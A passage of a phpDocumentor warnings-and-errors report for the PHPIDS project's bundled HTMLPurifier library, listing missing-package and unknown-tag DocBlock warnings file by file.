one<br> -<a name="HTMLPurifier.autoload.php"></a> -<h1>HTMLPurifier.autoload.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - Unknown tag "@file" used<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.autoload.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLPurifier.func.php"></a> -<h1>HTMLPurifier.func.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - Unknown tag "@file" used<br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 14</b> - no @package tag was used in a DocBlock for file /home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.func.php<br> -<b>Warning on line 14</b> - package default is already in category Security, will now replace with category default<br> -<a name="HTMLPurifier.includes.php"></a> -<h1>HTMLPurifier.includes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 20</b> - Unknown tag "@warning" used<br> -<b>Warning on line 20</b> - Unknown tag "@warning" used<br> -<b>Warning on line 20</b> - Unknown tag "@file" used<br> -<b>Warning on line 203</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLPurifier.kses.php"></a> -<h1>HTMLPurifier.kses.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - Unknown tag "@file" used<br> -<b>Warning on line 27</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.kses.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLPurifier.path.php"></a> -<h1>HTMLPurifier.path.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@file" used<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.path.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLPurifier.php"></a> -<h1>HTMLPurifier.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 53</b> - Unknown tag "@note" used<br> -<b>Warning on line 54</b> - no @package tag was used in a DocBlock for class HTMLPurifier<br> -<b>Warning on line 229</b> - Unknown tag "@note" used<br> -<b>Warning on line 233</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLPurifier.safe-includes.php"></a> -<h1>HTMLPurifier.safe-includes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 12</b> - Unknown tag "@file" used<br> -<b>Warning on line 197</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="http.php"></a> -<h1>http.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme_http<br> -<b>Warning on line 17</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/http.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="https.php"></a> -<h1>https.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme_https<br> -<b>Warning on line 9</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/https.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Hypertext.php"></a> -<h1>Hypertext.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Hypertext<br> -<b>Warning on line 27</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Hypertext.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Id.php"></a> -<h1>Id.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Interchange_Id<br> -<b>Warning on line 19</b> - Unknown tag "@warning" used<br> -<b>Warning on line 28</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ID.php"></a> -<h1>ID.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 11</b> - Unknown tag "@warning" used<br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_ID<br> -<b>Warning on line 67</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/ID.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="IDAccumulator.php"></a> -<h1>IDAccumulator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_IDAccumulator<br> -<b>Warning on line 44</b> - Unknown tag "@note" used<br> -<b>Warning on line 50</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/IDAccumulator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Image.php"></a> -<h1>Image.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - Unknown tag "@note" used<br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Image<br> -<b>Warning on line 37</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Image.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ImgRequired.php"></a> -<h1>ImgRequired.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_ImgRequired<br> -<b>Warning on line 39</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgRequired.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ImgSpace.php"></a> -<h1>ImgSpace.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_ImgSpace<br> -<b>Warning on line 41</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgSpace.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ImportantDecorator.php"></a> -<h1>ImportantDecorator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_ImportantDecorator<br> -<b>Warning on line 37</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Injector.php"></a> -<h1>Injector.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 16</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector<br> -<b>Warning on line 67</b> - Unknown tag "@warning" used<br> -<b>Warning on line 150</b> - Unknown tag "@warning" used<br> -<b>Warning on line 183</b> - Unknown tag "@warning" used<br> -<b>Warning on line 200</b> - Unknown tag "@warning" used<br> -<b>Warning on line 227</b> - Unknown tag "@note" used<br> -<b>Warning on line 230</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Input.php"></a> -<h1>Input.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Input<br> -<b>Warning on line 37</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Input.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Integer.php"></a> -<h1>Integer.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@note" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_Integer<br> -<b>Warning on line 70</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Integer.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Interchange.php"></a> -<h1>Interchange.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Interchange<br> -<b>Warning on line 54</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="InterchangeBuilder.php"></a> -<h1>InterchangeBuilder.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_InterchangeBuilder<br> -<b>Warning on line 173</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="IPv4.php"></a> -<h1>IPv4.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_URI_IPv4<br> -<b>Warning on line 36</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv4.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="IPv6.php"></a> -<h1>IPv6.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_URI_IPv6<br> -<b>Warning on line 96</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv6.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Lang.php"></a> -<h1>Lang.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - Unknown tag "@note" used<br> -<b>Warning on line 7</b> - Unknown tag "@note" used<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_Lang<br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Lang<br> -<b>Warning on line 25</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Lang.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 70</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Lang.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Language.php"></a> -<h1>Language.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Language<br> -<b>Warning on line 56</b> - Unknown tag "@note" used<br> -<b>Warning on line 160</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="LanguageFactory.php"></a> -<h1>LanguageFactory.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@note" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_LanguageFactory<br> -<b>Warning on line 17</b> - Unknown tag "@value" used<br> -<b>Warning on line 24</b> - Unknown tag "@value" used<br> -<b>Warning on line 30</b> - Unknown tag "@value" used<br> -<b>Warning on line 37</b> - Unknown tag "@value" used<br> -<b>Warning on line 43</b> - Unknown tag "@value" used<br> -<b>Warning on line 49</b> - Unknown tag "@value" used<br> -<b>Warning on line 71</b> - Unknown tag "@note" used<br> -<b>Warning on line 128</b> - Unknown tag "@note" used<br> -<b>Warning on line 195</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Legacy.php"></a> -<h1>Legacy.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 18</b> - Unknown tag "@note" used<br> -<b>Warning on line 19</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Legacy<br> -<b>Warning on line 134</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Legacy.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Length.php"></a> -<h1>Length.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Length<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Length<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Length<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_Length<br> -<b>Warning on line 24</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Length.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 38</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Length.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 44</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Length.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 45</b> - Unknown tag "@warning" used<br> -<b>Warning on line 102</b> - Unknown tag "@warning" used<br> -<b>Warning on line 112</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Length.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Lexer.php"></a> -<h1>Lexer.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 41</b> - Unknown tag "@par" used<br> -<b>Warning on line 41</b> - Unknown tag "@note" used<br> -<b>Warning on line 41</b> - Unknown tag "@par" used<br> -<b>Warning on line 41</b> - Unknown tag "@note" used<br> -<b>Warning on line 41</b> - Unknown tag "@par" used<br> -<b>Warning on line 42</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Lexer<br> -<b>Warning on line 67</b> - Unknown tag "@note" used<br> -<b>Warning on line 173</b> - Unknown tag "@warning" used<br> -<b>Warning on line 241</b> - Unknown tag "@warning" used<br> -<b>Warning on line 241</b> - Unknown tag "@params" used<br> -<b>Warning on line 295</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Linkify.php"></a> -<h1>Linkify.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector_Linkify<br> -<b>Warning on line 43</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/Linkify.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="LinkTypes.php"></a> -<h1>LinkTypes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_LinkTypes<br> -<b>Warning on line 50</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/LinkTypes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="List.php"></a> -<h1>List.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_List<br> -<b>Warning on line 32</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/List.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ListStyle.php"></a> -<h1>ListStyle.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - Unknown tag "@warning" used<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_ListStyle<br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 75</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ListStyle.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="mailto.php"></a> -<h1>mailto.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme_mailto<br> -<b>Warning on line 24</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/mailto.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="MakeAbsolute.php"></a> -<h1>MakeAbsolute.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIFilter_MakeAbsolute<br> -<b>Warning on line 111</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="MakeWellFormed.php"></a> -<h1>MakeWellFormed.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy_MakeWellFormed<br> -<b>Warning on line 429</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/MakeWellFormed.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Memcached.php"></a> -<h1>Memcached.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Caching/Interface.php'", use another DocBlock to document the source element<br> -<h2>Errors:</h2><br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<a name="Memory.php"></a> -<h1>Memory.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCache_Decorator_Memory<br> -<b>Warning on line 43</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Memory.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Monitor.php"></a> -<h1>Monitor.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 49</b> - package default is already in category default, will now replace with category Security<br> -<a name="MultiLength.php"></a> -<h1>MultiLength.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_MultiLength<br> -<b>Warning on line 38</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/MultiLength.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Multiple.php"></a> -<h1>Multiple.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 14</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Multiple<br> -<b>Warning on line 55</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Multiple.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Munge.php"></a> -<h1>Munge.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIFilter_Munge<br> -<b>Warning on line 51</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/Munge.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Name.php"></a> -<h1>Name.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Name<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Name<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy_Name<br> -<b>Warning on line 15</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Name.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 16</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Name.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 21</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Name.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Namespace.php"></a> -<h1>Namespace.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigDef_Namespace<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Interchange_Namespace<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Native.php"></a> -<h1>Native.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_VarParser_Native<br> -<b>Warning on line 23</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="news.php"></a> -<h1>news.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme_news<br> -<b>Warning on line 19</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/news.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Nmtokens.php"></a> -<h1>Nmtokens.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@warning" used<br> -<b>Warning on line 9</b> - Unknown tag "@note" used<br> -<b>Warning on line 9</b> - Unknown tag "@note" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_Nmtokens<br> -<b>Warning on line 45</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Nmtokens.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="nntp.php"></a> -<h1>nntp.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme_nntp<br> -<b>Warning on line 17</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/nntp.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="NonXMLCommonAttributes.php"></a> -<h1>NonXMLCommonAttributes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_NonXMLCommonAttributes<br> -<b>Warning on line 11</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Null.php"></a> -<h1>Null.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCache_Null<br> -<b>Warning on line 36</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Null.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Number.php"></a> -<h1>Number.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Number<br> -<b>Warning on line 24</b> - Unknown tag "@warning" used<br> -<b>Warning on line 66</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Number.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Object.php"></a> -<h1>Object.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - Unknown tag "@warning" used<br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Object<br> -<b>Warning on line 44</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Object.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Optional.php"></a> -<h1>Optional.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@note" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_Optional<br> -<b>Warning on line 21</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Optional.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="PEARSax3.php"></a> -<h1>PEARSax3.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 21</b> - Unknown tag "@warning" used<br> -<b>Warning on line 22</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Lexer_PEARSax3<br> -<b>Warning on line 103</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PEARSax3.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Percentage.php"></a> -<h1>Percentage.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Percentage<br> -<b>Warning on line 37</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Percentage.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="PercentEncoder.php"></a> -<h1>PercentEncoder.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 10</b> - Unknown tag "@warning" used<br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_PercentEncoder<br> -<b>Warning on line 49</b> - Unknown tag "@note" used<br> -<b>Warning on line 68</b> - Unknown tag "@warning" used<br> -<b>Warning on line 95</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PercentEncoder.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="PH5P.php"></a> -<h1>PH5P.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Lexer_PH5P<br> -<b>Warning on line 12</b> - Unknown tag "@note" used<br> -<b>Warning on line 62</b> - no @package tag was used in a DocBlock for class HTML5<br> -<b>Warning on line 1179</b> - no @package tag was used in a DocBlock for class HTML5TreeConstructer<br> -<b>Warning on line 3905</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Pixels.php"></a> -<h1>Pixels.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_Pixels<br> -<b>Warning on line 45</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Pixels.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Presentation.php"></a> -<h1>Presentation.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 12</b> - Unknown tag "@note" used<br> 